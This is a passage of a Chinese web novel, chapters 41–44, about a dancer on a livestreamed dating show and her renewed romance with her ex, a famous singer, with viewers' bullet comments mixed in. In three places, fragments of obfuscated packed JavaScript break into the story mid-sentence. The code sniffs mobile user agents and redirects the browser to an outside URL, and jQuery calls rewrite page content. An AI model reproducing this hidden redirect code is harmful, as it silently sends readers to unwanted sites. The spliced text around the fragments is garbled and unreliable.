继续留在这里,一边和许钧闻抬头不见低头见,一边又要根据节目组的安排和几位男嘉宾单独约会,每天被复杂的心绪裹挟,时缈感觉自己的精神压力比当年艺考时还要大。 并且,时缈在想,或许与许钧闻拉开一点距离,更有助于他们双方各自梳理清楚自己的心思和感情。 所以,在回到江城之后,时缈单独找上了导演,提出自己想要退出后续节目录制的想法。 “的确是有一些私人感情方面的因素。” 导演一脸“你继续说我听听怎么个事儿”的表情看着时缈,仿佛今天她不说服他,他就不会同意时缈退出节目录制。 时缈闭了闭眼,搬出了这个在她看来已经十分有说服力的理由:“那什么,在参加了这个节目之后,我发现我心里还是惦记着我前男友……” 导演:“?” “我当是多大的事儿呢,”导演摆摆手,无所谓地笑道,“别说是心里还有个前男友了,就算是你现在还有个现男友,也不妨碍咱们这个节目的录制不是?” “啊?” 时缈怔愣了一下:“这不是个恋综吗?” 导演笑得云淡风轻:“是啊,但本质上还是一个综艺嘛,观众们只是喜欢看俊男美女谈恋爱,就和看偶像剧是一个道理,至于节目结束之后,嘉宾们回归现实生活之后的感情状况就与其他人无关了嘛。” “嗐,综艺都是这样的啦,你以为以前的那些恋综能有多少是真的呢?”导演顿了一下,“哦,当然,也不完全是假的,修成正果的也不是没有嘛,但是你回去搜搜看,其实也不乏有对象的人来参加节目的,都是为了出名嘛,大家都懂的。” 看时缈还要说些什么,导演抢先道:“当然,我知道,你肯定不是为了走红出道什么的,但是我想你也清楚,这段时间你是女嘉宾里相对而言热度和话题比较高的,如果你在这个时候退赛,网友们肯定会去深扒你的退赛原因……” “如果真让他们扒出你因为前男友而退出录制,恐怕也会给你的前男友带来一些困扰。” 时缈深吸一口气。 导演说的倒也不无道理。 如果被网友们在这个时候扒出她和许钧闻的关系,结合她退出录制的理由,以及之前许钧闻在直播时说出的那些话,想必相当长的一段时间了,她的生活都不会很平静了。 “再说了,让前男友看见这个节目也没什么不好啊。” 导演一挑眉:“说不定他在节目里看见你和其他男嘉宾约会,突然发现自己其实也对你余情未了,一吃醋一上头,就主动联系你了呢?到时候如果你和前男友重修于好破镜重圆了,也算是我们这个节目功德一件了。” …… 时缈反驳的话被堵回喉咙里。 前男友可不就是看见了吗,而且还是坐在VIP席看的高清现场版。 41. 41首情歌 时缈一头雾水,但看着一脸冷冽的许钧闻,最终还是没有选择和他对着干。 许钧闻的助理下车,帮时缈把行李箱装进保姆车的后备箱的同时,忍不住低声对时缈说了句:“加油。” 时缈一头雾水:“?” 节目录制期间,许钧闻的助理是一直跟着节目组的,因此虽然时缈虽然没有跟他说过话,但彼此都已经眼熟了对方。 听见许钧闻助理没头没脑的一句“加油”,时缈茫然地眨眨眼。 他说什么呢? 加什么油? 自己不过是回了一趟舞团,不过短短半天的时间,是发生了什么她不知道的事情吗? 时缈刚坐进车内,许钧闻就冷冷地吩咐司机:“开车。” 看着窗外飞快向后掠过的景色,时缈开口问道:“我们这是去哪儿?” 许钧闻抿唇不语,浑身散发出凉飕飕的低气压。 不是。 谁又惹到这位大爷了? 可就算是真的有人惹到他了,他跟她这儿发什么脾气闹什么别扭呢? 谁说只有女人心像海底针的? 时缈觉得许钧闻这大男人的心思也没比海底针好摸到几分。 “许钧闻,你的工作都忙完了?” 她尝试与许钧闻开启一个寒暄的话题。 谁料对方并不接话。 时缈忽然也来了脾气。 这人不打一声招呼地突然出现在她面前,又冷着脸要她上他的车,她上了车之后他也不说他们的目的地是哪里,甚至她主动开口搭话了,许钧闻还是那一副爱答不理的样子。 就算是生她的气,起码也先告诉她到底她哪里做错了吧? 莫名其妙! 一时间,车里的氛围彻底冷了下来。 坐在前排的助理小心翼翼地从后视镜里观察着后排的状况。 他老大从谷峪勒回到江城之后,马不停蹄地赶去了录音棚将主题曲熬夜录了出来,期间老大还和豪哥进行了一番“非常深入的促膝长谈”,然后又一刻不停地回到了《适合恋爱的夏天》节目录制的别墅。 谁知道,一进别墅就碰见了正在检查工作人员安装的摄像机机位的两位导演。 * “嗐,你说这好端端的,时缈怎么突然想起来要退出录制了?”副导演满脸不解。 导演吐了一口烟,摇摇头:“谁说不是呢,咱们这个节目这段时间的热度可都指着她和那两位男嘉宾了,她要是一退出,还能去哪儿找能带来相同节目效果的嘉宾啊。” 怎么个事儿? 推着行李箱走在许钧闻身旁的助理也没想到,他们回到别墅听到的第一个消息居然是时缈提出要退出节目录制。 他作为许钧闻的助理,许钧闻和豪哥之间的谈话他当时也是在场的。 跟组录制节目期间他早就发现他家艺人对那个小姐姐的态度不一般,只是他作为许钧闻的助理,不方便打听议论自家艺人的八卦——当时他还以为是自家老大这棵前年铁树终于要开花了,却没想到,原来他们之间还有那么复杂的爱恨纠葛。 “那你现在怎么想?把人追回来重修旧好?”豪哥揉了揉自己的头发,短短两周,他觉得自己的白头发都要长出来了。 许钧闻不置可否地睨了豪哥一眼。 “OK,我明白了,我还是提前多做几手准备吧。”豪哥叹了口气。 而后又认命般地拍了拍许钧闻的肩:“如果您老真把人追回来了,那些所谓的什么压箱底的情歌是不是就能拿出来发了?” 许钧闻嗤笑:“就惦记着这个呢是吧?” 豪哥怒瞪他一眼:“都这样了,你总得给我们工作室的牛马们留一条活路吧!” 如果许钧闻和时缈真的破镜重圆了,依许钧闻的脾气,肯定不会搞什么地下女友之类的把戏隐瞒粉丝。 为了不让他被感情新闻拖进话题漩涡,最好的公关手段就是紧随其后发布新专辑——最好是迎合了之前网上甚嚣尘上的关于许钧闻到底什么时候出情歌的噱头。 “我不是要让你用这个事情炒作,但如果要把影响降到最低,”豪哥看了一眼许钧闻的脸色,知道这时候说什么才最能说服他,“尤其是不要让八卦记者和粉丝网友们过分关注时缈的私人生活,发专辑是最好的吸引大众注意力的手段。” 许钧闻皱了皱眉:“到时候再说。” “也对,”豪哥幸灾乐祸地一笑,“说不定你追不回人家呢,那我也不用这么提心吊胆咯。” 许钧闻的眼神凉飕飕的:“不会说话可以不说。” 豪哥在自己嘴前做了个“拉拉链”的动作:“行行,不说这个,不说这个了。” 许钧闻站起身,整理了一下自己有些褶皱的衣摆:“行了,歌你记得发给剧组,我先回去了。” “回哪里?家吗?”豪哥下意识问道。 许钧闻头也没回:“你说呢。” 得,这还用猜吗,肯定是回节目组去了呗。 助理赶忙跟上,一同坐车回到了节目组所在的别墅。 却没想到,他们一回来,就有这么爆.炸.性的消息等待着他们。 助理看了一眼表情忽然冷下来的自家老板,上前两步:“导演,您刚才说谁要退出节目录制?” 一边确认,助理一边在内心祈祷,千万一定要是他们刚才听错了啊…… “时缈啊。” 导演叹了口气:“昨天下午备采结束之后她来找我的,可把我给吓坏了……” 导演还要再说,却在撞见许钧闻意味不明的晦暗眼神时怔了一下,后半句还没说出口的话就这么硬生生地咽了回去。 “时缈人呢?” 许钧闻问道。 “啊?她一下飞机就走了,”副导演摇摇头,“具体的我也……” “你们在说时缈吗?” 负责时缈的PD小姐姐眨眨眼:“出机场的时候我听她说她要回舞团哦,这个时候她应该还在那边吧。” 毕竟人一下飞机就和他们分开了,到现在还没回来,大概是还在舞团那边忙自己的工作吧。 “哦哦,这样啊。” 导演点点头:“许老师,你们找她是有什么事吗?要不你们先进去……” 进去等她回来呗? 反正她退出录制的想法昨天已经被他成功打消了,估计晚点忙完工作之后她自己就回来了…… 可导演的话还没说完,许钧闻就已经转身,迈着大长腿离开了他们的视线范围。 他的助理也急匆匆地跟着走了,留在原地的只有两个黑色的行李箱。 “什么事啊这么着急。” 导演转头对副导演道:“现在的年轻人,一个二个的,火急火燎,听风就是雨。不过我之前还没发现,原来咱们这个节目对于许钧闻来说这么重要啊?先是短期合约便常驻合同,现在一听说高热度的嘉宾要退出立刻就坐不住了,没想到许钧闻是这么一个面冷心热的人啊。” “来来!找个人!来给许老师把他的行李送回房间去!” *
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604420|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “时缈姐,你舞团的工作都处理好了吗?” 车内气氛实在有些压抑,助理闭了闭眼,挺身而出。 时缈拧着眉,乜了一眼身边抱着手臂坐在那里一言不发的许钧闻,心里憋着火。 但这火也仅仅只是针对许钧闻而已,与他的助理没有关系,于是时缈还是按下心里的烦躁,耐心地回答:“差不多了,毕竟一周没来过了,回到江城之后自然是要先去舞团看一看情况的。” “哦哦。” 助理点点头,试探着问道:“那等下是把你送到哪里呢……?” 时缈:“?” 她没明白许钧闻的助理这句话的意思。 难道许钧闻的工作还没结束,他暂时不会回别墅吗? 所以许钧闻并不是结束工作后恰好路过舞团看见她在路边才让她搭一程顺风车的? 如果是这样的话,那她总不好耽误人家的工作让人家特地送她回去。 于是时缈指着前方路边的路口:“要不你们直接靠边停,我打车走也行的。” “又想跑到哪里去?” 沉默了一路的许钧闻忽然开口,语气里是极力压抑的怒气。 “什么叫‘跑到哪里去’?”时缈皱着眉头。 这人到底在生什么气呢? 跟她甩脸子还甩上瘾了是吗? 时缈深吸一口气,开口的气势也很冲:“是你莫名其妙地出现在我面前,又一脸不爽地命令我上车,现在还用这么语气质问我?许钧闻,你能不能正常一点啊。” “你当我是你养的一只小猫小狗吗?你心情好了来逗一下,心情不好了就可以说丢就丢?” 许钧闻嗤笑一声,转头捏住时缈的手腕,将她朝自己扯近一点。 时缈身上乌木玫瑰的香气丝丝缕缕地缠绕上来,钻进他的鼻息里,挑动着他的神经。 “说什么胡话呢许钧闻?” 时缈扫了一眼已经转回头,做得笔直,目光直直望向前方一声不吭的助理和司机,压低声音:“这还有人呢。” “时缈。” 许钧闻的舌尖碾过齿关,用痛意刺激着自己的神经,以此保持理智:“就这么想躲着我?哪怕付违约金也要放弃录制?” “……啊?” 时缈挣扎的动作忽然停了下来。 许钧闻说什么呢? 关于她想退出这个节目的事情,昨天她不就已经和导演达成一致,放弃中途退出的想法,继续完成节目的录制了吗? 所以他是从哪里得到的二手滞后消息啊? 而且还就这么急匆匆地冷着脸跑来找她对质了? 语气凶得要死,话说得还怪委屈嘞。 时缈看着许钧闻那双仿佛看谁都深情的桃花眼。 从那双眼睛里,时缈仿佛看见了愤怒、急躁,甚至还有一点掩藏在深处的慌张。 哦。 他该不会以为自己又要一声不吭地从他的生活里跑路消失了吧? 想到这里,时缈的心像是被一根刺扎了一下似的,密密麻麻地疼起来。 六年前她的决定和选择,似乎真的给他留下了很深的阴影。 时缈忽然明白了许钧闻是为什么会有如此大的反应,忍不住抬手摸了摸许钧闻的头发,轻笑起来:“可是,我想退出节目录制不是为了躲你啊。” 感觉到手腕上的桎梏微微松懈,她眨眨眼,凑近一点点,认真地看着许钧闻的眸子: “我只是觉得自己不需要在这个节目里找男朋友了而已。” 42. 42首情歌 听见时缈的话,许钧闻怔住,手上的力道也彻底卸掉。 他同时缈对视,半晌,挪开视线,不大自然地清了清嗓子:“所以你到底是不是要退出节目。” “原本我的确是这么想的,因为我不想被迫在镜头前做一些违背我内心的选择。” 感受到刚才紧紧攥住自己手腕的力气渐渐消失,时缈却并没有急于将自己的手腕从许钧闻的手里抽出来。 她声音轻轻地在安静的车内响起,带着解释和安抚的意味:“但导演和我认真谈了一下,然后我又决定不离开了。” “为什么?” 许钧闻还是不看她:“一会想走一会又不走了的,耍人这么好玩吗。” “我可没有要耍任何人的想法,尤其是对你。”时缈仔细打量着许钧闻的神色。 在时缈的印象里,许钧闻鲜少露出这样的显而易见的可以被称为“脆弱”的情绪,大部分时候,他在所有人面前都是一副桀骜锋利、运筹帷幄的样子。 虽然是她有愧在先,但现下看见许钧闻这副难得的示弱模样又让她实在很难忍住不去逗他:“怎么,我留下了你反而更不开心了?就这么想让我赔违约金走人啊?” 许钧闻睨她一眼,轻哼一声:“那你还挺有钱。” 在首日入住别墅见到时缈后,许钧闻曾“不经意”地从导演组那里要到了素人嘉宾们的合同模板,因此时缈合同上关于违约金的相关条款,他是很清楚的。 如果因为素人嘉宾的个人原因退出节目录制,嘉宾需要赔偿节目组高达六位数的违约金。 “我手头上是没有那么多钱能用。” 时缈别开头,故意道:“但我可以问我亲戚朋友们借一点啊,我这人的人缘还是不错的,凑一凑的话倒也能付清违约金。” 话是这么说。 其实时缈在找导演私聊之前,就已经查过自己名下所有银行账户里的存款了。 虽然这笔违约金的确不菲,但她咬咬牙还是能够拿出来的。 时缈用余光扫了一眼许钧闻的身影。 在心底默默叹了口气。 唉,她这也算是为了美色豪掷千金了吧? 正想着,就听见许钧闻忽然开口:“我也挺有钱的。” 时缈不明所以:“?” “你也可以问我借。” 时缈忍不住笑出声:“许老师,你觉得我们两个之间是可以互相借钱的关系吗?” 换到其他人身上,恐怕是要被挂到网上吐槽三天三夜的程度吧。 “我可以当你债主。” 许钧闻凉凉地看着她:“这样的话,你要是再敢一声不吭就拉黑我然后消失,我就有理由报警了。” “我找不到你,那就只能麻烦警官帮我找你了。” “?!?!” 时缈瞪大眼睛,看着许钧闻的神色不像是再随口开玩笑的样子。 不是? 这人来真的啊? “别,不至于,不至于。”她连忙摆摆手。 “放心,这次一定不会偷偷跑路了,”说着,她还举起一只手竖在耳边,“我保证。” 许钧闻一瞬不瞬地盯着她,最后不置可否地“嗯”了声。 也不知道是信了还是没信。 “所以现在可以问了吗,我们这是要去哪儿?” 时缈看着窗外的景色。 “先去趟我的住处,拿点东西。” “什么东西?行李吗?” “拿一条登山绳,把你和我的行李箱绑在一起。”许钧闻瞥了她一眼,慢条斯理地回答。 “许钧闻!” 时缈的太阳穴突突直跳。 这人现在怎么总是喜欢开一些游走在法律底线边缘的烂梗玩笑啊! 有没有人来管管啊! * “听说你喜欢吃辣,晚餐特意安排了火锅,别客气,敞开吃。” 白景川绅士地替时缈拉开凳子。 “哇哦,好神奇。” 时缈看着眼前翻滚着冒着热气的火锅,又看看坐在自己对面穿着笔挺西装的白景川:“我还是第一次见有人会穿着成套的西装来吃火锅,沾上一身火锅味真的没关系吗?” “没事。主要今天确实有些忙,来不及回去换衣服了。” 白景川一边说,一边随手将黑色的西装外套脱下来,随意搭在椅背上,露出里面的白色衬衫。 他慢条斯理地仔细将袖口挽起来,露出半截肌肉线条流畅的小臂。 实时弹幕里立刻出现一片“嘶哈嘶哈”。 “我还以为你们这些金融精英都像电视里演得那样,办公室、车里随时随地都备着一套换洗衣服呢。” 时缈比划了一下:“这算不算是我的一种刻板印象?” “我车里的确有一套换洗衣服。” 白景川点点头,轻笑:“但很可惜,车上那套也是西装。反正身上这套也该送去干洗了,所以干脆就不换了。” 时缈忍俊不禁:“有没有人说过,你真的是个很风趣幽默的人。” 白景川挑眉:“有,但不多。大部分时候我的同事们对我的第一评价都是‘严谨’或是‘认真’,倒是很少说我‘风趣幽默’。” “那么我会有些好奇,在你看来,风趣幽默算是一个加分项吗?”白景川忽然打出一记直球。 「出现了!直球!」 「对待这样感情上可能比较慢热的姑娘就应该打直球!俗话说得好,烈女怕缠郎嘛~」 「拜托,就算要缠也要先确定对方对自己到底有没有意思吧?如果双方都对对方有好感,那这叫推拉、情.趣,如果女生对男方不感兴趣,男方还要硬缠的话,那可就是x骚扰了啊!」 「所以时缈到底对白哥有没有那方面的意思。」 「我猜有吧,她之前的短信不也都发给白景川了吗?」 「我猜没有。因为我嗑她和周璨。」 「我怎么觉得美女对这几个男的都没有兴趣吧……」 「既然如此不如放我进去演两集,也算是没有浪费资源了哈哈哈……」 今晚,白景川和时缈的这顿火锅并不是节目组安排的约会日的项目。 而是白景川启用了《适合恋爱的夏天》节目里的第一个单独约会机会—— 每一个嘉宾都有一次单独邀约一位异性进行约会的权利,流程也很简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617376|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :只需要将自己发起的约会的时间和地点亲手写在邀约卡里后送给被邀约的对象即可。 而被邀请的那位嘉宾不能够拒绝。 因此在前一晚,白景川敲响时缈和温璐的房门,将手写的约会邀请卡递给时缈,她只是有些意外地看了白景川一眼,随即便将卡片收了下来。 正好。 她也在找机会,想和白景川单独聊聊。 录节目的这两周里,时缈并不是没有察觉到白景川和周璨对她的好感。 换句话说,对于从小就外貌拔尖气质出众的时缈,分辨异性是否对自己有好感实在是一件太简单的事情了。 如果她没有和许钧闻重逢的话,她或许真的会听从节目组的一切安排,在这几个男嘉宾里找到一个能够愿意继续相处或是了解的对象,在镜头前完成最终的“牵手”环节,满足观众们对于嗑cp的期待。 也偏偏,她现在有了真正在意的人。 时缈不想欺骗观众,更不想欺骗白景川和周璨。 在赴约之前,时缈已经做好了和白景川认真谈谈的准备。 因此在白景川略带深意地问出那句话的时候,时缈表现得很从容: “是个加分项啊。” “我很喜欢和幽默风趣的人做朋友。” 「哦莫哦莫!出现了!大型“好友位”发放现场!」 「也不一定就是好人卡吧,有些人谈恋爱就是先从朋友做起呢!」 白景川步步紧逼:“那如果是做男朋友呢?” 在商场混迹多年,形形色色的女人白景川也见过不少,其中也不乏和时缈看起来是同一个类型的,白景川很清楚时缈看向自己的眼神里没有好感,更不必提爱慕,但令他对时缈产生兴趣的更大一部分原因是,白景川隐隐觉得,时缈和观察团里的那位之间有些不对劲。 他曾看见过许钧闻看向时缈时的眼神。 也注意到了许钧闻有时面对自己所散发出的那种若有似无的敌意。 白景川想试探一下,许钧闻和时缈之间到底有没有些什么—— 这或许会让这个节目变得很有趣不是吗。 “男朋友的话,”时缈支着下巴想了想,“当然也要幽默风趣,但更多的,我觉得还是两个人要有一些共同语言吧。我个人还蛮看中这一点的,不然两个人下班回到家之后各干各的事,也不交流白天发生的事情,又或者是交流了但是另一边听不懂、不理解,我觉得都是一件蛮扫兴、蛮令女生感到委屈的事情呢。” 「这话也没错啊,两个人能在一起相处很长时间还是需要有一些共同话题吧。」 「但是话题是可以培养的嘛,白哥可以去了解艺术领域的话题,时缈也可以去学一点金融知识啊,如果真的互相喜欢的话,肯定会愿意为了对方去了解一些对方的兴趣爱好或是专业领域吧。」 “那你平时的爱好都有哪些?” 白景川用公筷夹起了一个丸子,稳稳当当地将丸子放进了时缈的碗里。 他收回手,时缈不知道他有没有发现自己的袖口上崩了小小一滴油。 “我可以试着了解一些,和你培养一些共同话题或是共同爱好。”白景川笑得谦和。 43. 43首情歌 时缈和白景川的火锅之约还没结束,动作迅速的网友们已经把时缈提到的那些舞团和剧目列出了一张表格。 「@今夜就住练功房(正在减肥版):没想到追个综艺还能碰上自己的专业领域了,已将时缈小姐姐提到的舞团、剧目已经对应剧目的演出信息、可供观看的网络视频整理成了一个表格,有需要的朋友们可以在评论区里自取哈~」 「Vocal,信息好详细!居然还有首演地点!博主实在太贴心了!」 「感谢整理!从今晚开始恶补古典舞相关知识了!」 博主是一个古典舞专业的大学生,在发布了信息表之后,热情地和评论里的网友们互动起来: 「真的没想到一个恋综能够让大家关注到我们舞蹈行业~感谢时缈大美女!希望国内古典舞行业越来越好!」 有看热闹不嫌事大的网友提出疑问: 「所以博主能看出时缈到底舞蹈功底如何吗?」 博主回答得很中肯: 「看得出来是有多年舞蹈底子的,虽然是编导,但我可以很负责人的说,以美女的功底做台前演员绝对是没有问题的!」 就在网友们热火朝天地从时缈推荐的古典舞剧聊到时缈在谷峪勒的篝火晚会上跳舞时的cut,甚至有好事的人把罗艺亭的直播切片也找了出来恨不得拿放大镜一帧一帧去分析的时候,有网友冒出来了这么一句: 「看了博主整理的表格,难道没有人发现,这些舞剧首演的地点和日期,跟xjw的行程也能够对得上吗?」 但这句话很快就被其他许钧闻的粉丝怼得毫无还手之力: 「世界那么大,还不允许许钧闻去了?」 「是ss吗对我哥的私人行程那么熟悉?」 「有些人为了嗑cp真是什么谣都敢造了哈,你怎么不干脆说时缈就是许钧闻的前女友本人呢?」 或许是许钧闻的粉丝来得太多太快,这条评论很快就被删除了。 但即便如此,还是有人注意到了这个奇妙的“巧合”。 当晚,“时钧力敌”超话里又出现了一篇同人文。 当红流量歌手x古典舞剧编导,一个“她逃、他追,她插翅难飞”的强取豪夺文。 无意中刷到这个超话并自觉帮老板注意着这个超话动向的助理怀着复杂的心情点进去,却没想到这一看就有些无法自拔了,直到翻到文章末尾的“end”,他竟还有点意犹未尽的遗憾感。 暗戳戳用小号给这篇微博点了个赞,助理在内心祈祷: 这个超话可千万不要被许哥发现,否则他去哪儿看这么跌宕起伏又狗血的同人爱情故事去啊! * 回程路上,时缈打开副驾驶车门,就看见座位上摆着一束漂亮的百合花。 “特意挑的,我猜你应该会喜欢。” 对上时缈有些意外的目光,白景川主动提醒她:“第一次见面的时候,我们一起去买花,虽然你最后才选了百合,但我看你其实从一进门就注意到那桶百合了。所以我想,你应该是很喜欢百合花的吧。” 时缈点点头:“没想到你居然注意到了。” 虽然每一句话都是直球,但白景川身上并没有那种咄咄逼人的感觉,因此并不会招来时缈的方案。 这让时缈再次感到了一丝愧疚:“谢谢,这样的话我岂不是从现在开始就要想,该给你买些什么作为回礼了。” “回礼就不必了。”白景川笑笑。 时缈却十分坚持:“那怎么行,朋友之间就是应该礼尚往来啊。” 白景川的目光在她面上停留几秒,没有作声。 弹幕却因为这短短几句话掀起了一阵波澜: 「今天时缈说了好几次“朋友”怎样怎样的话了吧?这应该算是比较明确的拒绝了吧?」 「之前那些贷款骂美女养鱼的人呢?站出来啊,还不赶紧道歉?」 「所以,年上vs年下的正确答案终于要揭晓了吗!」 「那也未必吧,人家拒绝了白景川也不一定就要接受周璨啊,就不允许人家美女独美谁都不爱吗?」 「独美为什么要来参加恋综?参加恋综不就是为了找对象的吗?」 「还不允许人家没碰上自己喜欢的了?哦,人家美女不选男的就是不真诚、为了红,男的不选其他漂亮小姐姐的时候你们怎么不说是他们男的没眼光?拜托,别太爱男。」 时缈不知道网上那些血雨腥风,只是将花捧在怀里,坐上了白景川的车。 白景川等她系好安全带,车子稳稳起步。 “那就选你喜欢的就好了,不用在乎其他人的看法。”白景川忽然如此说道。 时缈不解:“什么?” “我看你在那之后再也没有买过百合。” 白景川意有所指:“虽然是在录节目,但我还是希望你能开开心心地做自己。” “……” 时缈顿了顿,思绪飘回刚入住别墅的第一天。 哦。 那天她买了花回来,当着所有人的面,许钧闻似乎说了句他不喜欢百合。 所以,该不会白景川以为自己在那之后没有买过百合花是因为许钧闻说不喜欢吧? 时缈摆摆手,解释道:“不至于不至于,没有再买过是因为第一次录综艺,而且还是直播,所以其实还是有一点拘束,所以没什么心情打理花花草草,不是因为别的什么原因。” 其实不仅仅是因为第一次面对直播镜头,更令时缈紧张的是她那时候时刻都在担心自己和许钧闻是前任关系的事情随时会被暴露在镜头之下,以至于她不得不打起十二万分精神,时刻提醒自己和许钧闻保持距离。 更何况,在刚刚和许钧闻重逢的那几天,时缈总是会反复地梦见他们曾经在一起的时光。 而那些出现插着新鲜百合花花瓶的场合…… 都是些不大能播出的程度。 时缈为了不让自己胡思乱想,才尽量避开那些有可能勾起她回忆的元素和细节的。 侧头对上白景川仍有些疑虑的眼神,时缈狠狠点点头:“真的,没有你想得那么复杂,真的就是有些紧张所以没有什么心情去摆弄花草而已。” 而别墅那边的直播间里,围坐在会客室的观察团成员们全程将时缈和白景川之间发生的一切尽收眼底。 在意识到白景川竟然以为时缈是因为许钧闻的那句“不喜欢”而不再购买百合花束的时候,纷纷幸灾乐祸地看向许钧闻。 “没想到,你第一天居然给我们的嘉宾朋友留下了这样难以相处的形象哦?”程子归拍了拍许钧闻的肩膀。 青葭掩唇也跟着笑起来:“毕竟第一天见面闻哥连个笑模样都没有,上来还说不喜欢人家嘉宾买的花的品种,很难不吓到我们的嘉宾吧。” 「许钧闻,请你正视你冷脸时的威慑力哈哈哈哈哈哈哈,之前受邀音综做导师的时候,你稍微一皱眉头,人家参赛选手的脸都白了几分好不好!」 「哥是真不知道他一开始不解风情的直男行径给自己招了多少骂啊哈哈哈哈哈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627738|138976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈」 「笑死,所以许钧闻到底那天是真的气压低还是只是因为不熟所以冷着脸显得很凶啊?我真的很想知道他当时在想什么!」 被嘉宾和弹幕齐齐控诉的许钧闻本人则是挑了下眉:“我当时真的很吓人吗?” “刚开始录节目的那几天,我甚至以为你对人家时缈小姑娘有意见。” 程子归细数了一番许钧闻录制节目头几天面对时缈时的表情以及他曾经不冷不热说过的那些话:“不信回头你自己去网上搜一下,肯定有很多人都这么认为。” 「那确实,我当时还吐槽这哥不绅士来着。」 「结果没想到,熟悉了几天之后,他连人家喜欢吃什么菜都记住了是吧?哈哈哈哈哈哈」 「嘶——你别说,你还真别说……」 「怎么回事,我怎么忽然觉得这个配置其实也挺好嗑的……?」 「友情提示,圈地自萌,请不要在弹幕上刷这种与节目无关的cp哈~」 「好好好,弹幕警察又来了是吧,现在连我们这种圈外人嗑什么cp都要管了是吧?」 「略略略,逆反了,越不让发我就越嗑!你们能怎么着吧?」 * 时缈回到别墅,抱着花束走进客厅,其他嘉宾们正在客厅玩纸牌游戏,见时缈和白景川一前一后地走进来,不约而同地露出了打趣的笑意。 “哟,回来咯?真好啊,晚回来的人还有花收,我们都没有呢。”朱蕴笑眯眯地朝时缈招招手,“来,坐这里,让我看看今天是你比较漂亮还是花比较漂亮?” “当然是我们时缈大美女更漂亮,那句话怎么说来着?人比花娇,是吧?”温璐也跟着开起了时缈的玩笑。 “少拿我开涮,”时缈大大方方抱着花走到两人中间,“等会儿我去找两个花瓶,见者有份,见者有份,这样总可以了吧?” 听见这话,白景川越发确定,时缈今天晚上是真的打算和他划清界限了。 只是……她做这些是为了谁呢。 白景川的目光在客厅中扫视了一圈。 身后楼梯处有脚步声传来。 所有人都朝着来人的方向看过去。 “时缈。” 在众人神色各异地注视下,许钧闻懒懒散散地倚靠在墙壁上,双手环胸,看着时缈勾了下唇: “应广大观众朋友,以及其他观察团嘉宾们的要求,我有点话要跟你说。” “嗯?什么?”时缈不知道他这又是唱哪一出,下意识打起了精神,随时准备应对一切突发情况。 而时缈的反应落在观众们眼里,就又变成了对许钧闻的防备和害怕。 「哈哈哈哈哈哈哈看你给人吓的,跟你说话都有心理阴影了!」 「笑死,所以许钧闻真的是来跟人家小姐姐道歉的啊?活久见了真的是!」 “第一天见面的时候,我的态度可能确实不太好,如果让你产生了误会,我向你道歉。” “所以,时缈,我们能重新认识一下吗?” “你好,我叫许钧闻。” “雷霆万钧的钧,骇人听闻的闻。” 许钧闻深深看了时缈一眼。 这是他从录节目以来,第一次如此直白坦荡地直视着时缈,这目光像是越过了过去六年的时光,直直望进了时缈的心里。 重新认识一下吧。 重新开始一下吧。 顿了顿,许钧闻忽然低笑一声,慢条斯理地补了一句: “曾许人间第一流的许。” 44. 44首情歌 曾许人间第一流。 时缈听见这句话从许钧闻口中再次说出来的时候,鼻尖克制不住地开始泛酸。 仿佛又看见那年夏天,那个抱着吉他坐在操场上,自由洒脱地哼唱着自己创作的新歌的那个人。 「嚯,长见识了,居然有朝一日能看见许钧闻“道歉”了?」 「之前说他不尊重女嘉宾的喷子呢?出来道歉啊:)」 「所以《适合恋爱的夏天》这个节目有什么魔法嘛?怎么上了这个节目之后,这哥先是自爆恋爱史,再是解释为什么不发表情歌,现在又是主动和女嘉宾道歉示好……想想这哥以前在别的音综上怼天怼地的样子,这节目导演该不会给许钧闻下什么药了吧?」 「……根据我多年追星的经验,明星开始做一些反常的举动的时候……感觉就离塌房也就不远了。」 「没法贷款不尊重女性了又开始贷款塌房了是吧?黑粉真的别太恨了。」 「倒不一定是要塌房,但我感觉这哥是不是离官宣恋情不远了啊。男艺人大谈恋爱话题,十有八九是要有嫂子了。」 「有嫂子还敢当众说情歌写给前女友?未免也太勇了。」 「前面的姐妹也太迟钝了……」 「确实……」 「附议。」 「+1」 「到底是什么意思……?别打哑迷啊姐妹们。」 「意思就是,这个新嫂子大概率就是旧嫂子啊……」 “怎么说,我这样的道歉还满意吗?”许钧闻朝她走近,最后停在她面前,与她面对面站在所有人的注视下。 时缈回过神,弯着眼睛笑起来,主动伸出手:“许老师您好,我叫时缈,时间的时,缥缈的缈。” “很高兴见到你。”许钧闻向她伸出手。 两人的手终于在直播镜头下光明正大地握了一下。 当然,也只有浅浅一下。 “既然重新认识了,那,见者有份的礼物是不是也有我的一部分?” 许钧闻瞥了一眼她还抱在怀里的花,勾了个笑。 “?” 时缈愣了下,低头看了看自己怀里的花。 